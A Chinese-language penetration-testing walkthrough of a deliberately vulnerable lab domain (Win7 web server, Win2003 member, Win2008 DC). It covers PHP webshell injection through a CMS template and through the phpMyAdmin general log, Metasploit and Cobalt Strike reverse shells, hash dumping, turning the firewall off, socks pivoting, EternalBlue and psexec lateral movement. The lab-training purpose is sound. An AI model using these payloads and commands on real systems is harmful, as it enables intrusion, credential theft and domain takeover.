网络拓扑图
靶机参考文章
CS/MSF 派发 shell
# 环境搭建
IP 搭建教程
# 本机双网卡
65
网段和 83
网段是自己本机电脑 (虚拟机) 中的网卡,靶机外网的 IP
需要借助我们这两个网段之一出网
# Kali IP
kali
地址网络适配器选择,为 VMnetNAT
模式会通过 DHCP 自动获取 IP, 本机 65
网卡会自动分配 IP 和靶机 win7
同网段
简单来说,桥接模式是独立内网
IP
,NAT
模式则是利用物理机的地址分配一个IP
和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网IP
为内网网段,或者自定义也是独立的地址
1 | 192.168.65.148 // kali 地址 |
扫描 win7
出网机开放端口,处于同一个网段可以扫描到
# 靶机 IP
解压后出现后最 vmx
后缀文件,打开虚拟机自己弄好 初始密码为 hongrisec@2019
已经全部修改为 saber.1029
【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24 网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段
IP 地址
主机 | IP 地址 |
---|---|
kali 攻击机 | 192.168.65.148(虚拟机 VMnet8 网卡) 本机双网卡 = WIFi IP+kali IP 65 + 内部 IP 172.28.160.1 |
Win7 外网服务器 | 外网 IP 192.168.65.154 / 内网 IP 192.168.52.143 提权后 IP 变为 65.155 |
Win2003 域成员机 | 192.168.52.141 (不出网 IP 固定 52 网段) |
Win2008 DC 域控 | 192.168.52.138 (不出网 IP 固定 52 网段) |
攻击机与 win7
可以互相 ping
通出网,如果出现 Ping
不同可能是 win7
防火墙未关闭或未开机
# Web GetShell
# 前期信息收集
win7
机器打开小皮服务否则 nmap
无法扫描 80
端口和 3306
1 | arp-scan-l // kali前期使用该命令扫出同有一网段下其他主机 |
扫描 win7
外网 IP
地址,目标开放了 80
3306
端口
1 | nmap 192.168.65.154 |
kali
访问 80 端口 phpinfo(
) 页面:自己主机也是可以访问到此页面,本身就是同一个网段, win7
网段是物理机给予的
御剑目录扫描出数据库管理后台和 beifen.rar
文件路径
1 | http://192.168.65.154/PhpMyAdmin |
压缩包 config.php
给出了数据库的账户密码信息
# Yxcms 后台模板 Getshell
下载压缩包解压后根据文件夹名称判断是个 cms
拼接访问
主页公告信息泄露出了后台管理的地址和账户密码访问后登录即可
1 | http://192.168.65.154/yxcms/index.php?r=admin |
登录后台找到前台模板进行编辑写一句话木马蚁剑联机.
选择编辑的文件为 index_index.php
猜测应该是网站起始吧最好找路径
1 | 一句话🐎 |
访问网站前台马子上线,掏出蚁剑连接,取得 webshell
# PHPMyAdmin 日志 Getshell
数据库登录如果无密码只能尝试弱口令了,这里是应该前期找文件已经有了密码直接登录就行了
1 | 账号: root |
# into outfile 写入一句话 X
INTO OUTFILE是
MySQL 数据库中的一个语句,它可以将查询结果写入到文件中
条件
root
权限- 知道绝对路径
secure_file_priv
没有具体值
使用 INTO OUTFILE
将结果写入到文件中
1 | SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt'; |
这样文件 "/path/to/file.txt"
的内容将变为:
1 | Hello, world! |
前期通过最高权限的账号登录了,并且源码泄露和 phpinfo()
已经知道了绝对路径,查 secure_fiel_priv
1 | show global variables like "%secure%"; // 查询 |
这里值为 null
无法执行
# phpmyadmin 日志写入一句话
使用语句查询路径,这是已经修改过的
1 | show global variables like "%general%"; |
使用命令修改配置开关和路径
1 | set global general_log="on"; //开启日志,修改为on |
利用日志写入一句话木马位置是在网站 www 根目录下的 a.php
直接访问连接
1 | SELECT'<?php eval($_POST["cmd"]);?>' |
蚁剑连接成功取得 webshell
# 后渗透
# MSF 生成木马上线
Kali
进入 MSF
生成 shell.exe
1 |
|
拷贝木马使用蚁剑将文件上传到 win7
目录下
msf
开启监听回响用 handler
模块接收反弹模块
1 | use exploit/multi/handler |
蚁剑虚拟终端运行 exe
文件 MSF 成功反弹 shell
反弹 shell
后先查看当前用户,而后通过 getsystem
命令直接进行提权到系统权限
1 | getuid // 获取当前用户ID |
# 提取用户 hash
值
1 | run post/windows/gather/smart_hashdump // 提取命令 |
# ** hash
** 加密方式
1 | Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。 |
1 | run post/windows/manage/enable_rdp // 开启3389远程桌面 |
nmap
探测属于 3389
端口处于开启状态
1 | sessions -i # 查看所有会话 这个要回到msf模块下才能看到 |
# MSF
权限 Shell
至 CS
开启 CS
物理机 Windows
作为客户端 Kali
作为服务端启动
创建监听器,端口号需和 IP
需和 MSF
监听设置一致,这里的 IP
是 kali
地址
MSF
执行命令派发
1 | bg # 退出回到反弹模块 |
CS
客户端成功收到反弹 shell
# CS 生成木马上线
CS
生成非常简单,参考前文过程,生成的木马通过前文的蚁剑上传 win7
运行即可,上线,后续对 win7
信息收集和横向移动其他域内其他主机
1 | 蚁剑下操作 |
# 提权 system
svc-exe 提权
1. 创建一个以 system 权限启动的程序,这个程序的作用是连接指定的命名管道。
2. 创建一个进程,并让进程创建命名管道。
3. 让之前的以 system 权限启动的程序启动并连接这个命名管道。
4. 利用 ImpersonateNamedPipeClient () 函数生成 system 权限的 token。
5. 利用 system 权限的 token 启动 cmd.exe
# 信息收集
1 | sleep 0 // 修改心跳速度为0 立马响应 |
查看进行和防火墙开启状态是为了判断是是否有防护软件,但是显然是没有的,不然 CS
生成无免杀的马子是不能上传到 win7
服务器
1 | shell tasklist // 查看被控主机进程列表 |
1 | shell netsh firewall show state // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态 |
1 | shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令 |
# 域信息收集
1 | shell net config Workstation // 查看域信息 |
1 | shell view // 查看当前域内列表,点击上方定位圆圈就可以看到 |
1 | net dclist // 查看域控列表 |
抓取凭证 hash
win7
主机 3 个用户账户密码
抓取明文密码
# CS
权限 shell
至 MSF
MSF
开启监听模块,使用一个端口进行监听
1 | msfconsole // 开启MSF |
CS
这里是已经通过反向木马得到了 shell
, 生成的木马监听器就是 HTTP
的,所以权限给 msf
时,新建的监听器还是 HTTP
CS
在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的
# 横向移动
横向渗透,使攻击机利用 win7
做跳板直接通讯到域控,利用 win7
为媒介
kali 攻击机 | 192.168.65.148 |
---|---|
Win7 外网服务器 | 外网 IP 192.168.65.154 / 内网 IP 192.168.52.143 |
Win2008 DC 域控 | 192.168.52.138 (不出网 IP 固定 52 网段) |
# MSF
# MSF
路由 + Socks
模块代理通讯
横向渗透前,将 win7
作为跳板机,将其内网 52
网段添加到路由,利用 msf
路由和 socks
配置让同一网段的机器可以通讯到
1 | route // 打印当前路由 |
设置 proxychains
代理,,现在只是 msf
工具以使用,但的工具还是没有通讯的,所以再次建立一个路由
1 | bg // 退回msfshell模式 |
1 | set srvhost 127.0.0.1 // 设置代理为本地 |
找到 proxychains4.conf
文件因为不会 vim
操作起来很不舒服,定位到端口位置,点击 x
后可以删除,点击 i
开始添加对应的端口号 和前文设置一致
# ms17_010
永恒之蓝 445
昨晚配置路由和 socks
之后正常是 kali
是可以接收到 52
网段的流量,然后使用 nmap
探测开放端口,会探测到 445
然后打永恒之蓝得到权限
socks
开启监听一个端口,将此流量转发给msf
因为端口号设置一致,msf 添加了路由,所以流量又被带入内网中,在kali
中的工具都可以监听到
1 | proxychains nmap -Pn -sT 192.168.52.138 |
检测永恒之蓝可能存在的地址
1 | search ms17-010 |
命令行出现 Host
漏洞可能存在,使用漏洞攻击模块进行攻击
这里域控密码忘记了登录补上。但总的就是这个意思了,先设置跳板机和 sosks
进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了
1 | use exploit/windows/smb/ms17_010_eternalblue // use 0 // 利用模块 |
# CS
# 创建 SMB 监听器横向
SMB Beacon
相对隐蔽,绕防火墙时可能发挥奇效 (系统防火墙默认是允许445
的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹 shell 失败), 此流量封装在SMB
协议中
对 DC
域控进行横向移动利用先前抓取的明文密码,配合 SMB
监听器,
运行后直接用抓取到的明文去移动直接正向连接域控主机,接下来可以拿域控去打另外一台机器,这是第一种派生方式,第二种 beacon
上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell
之类访问到内网其他主机
# 横向移动 psexec
感觉这个就是拿明文去移动启动机器了, psexec
属于登录命令,在有密码情况下远程登录其他主机执行命令
简单粗暴拿下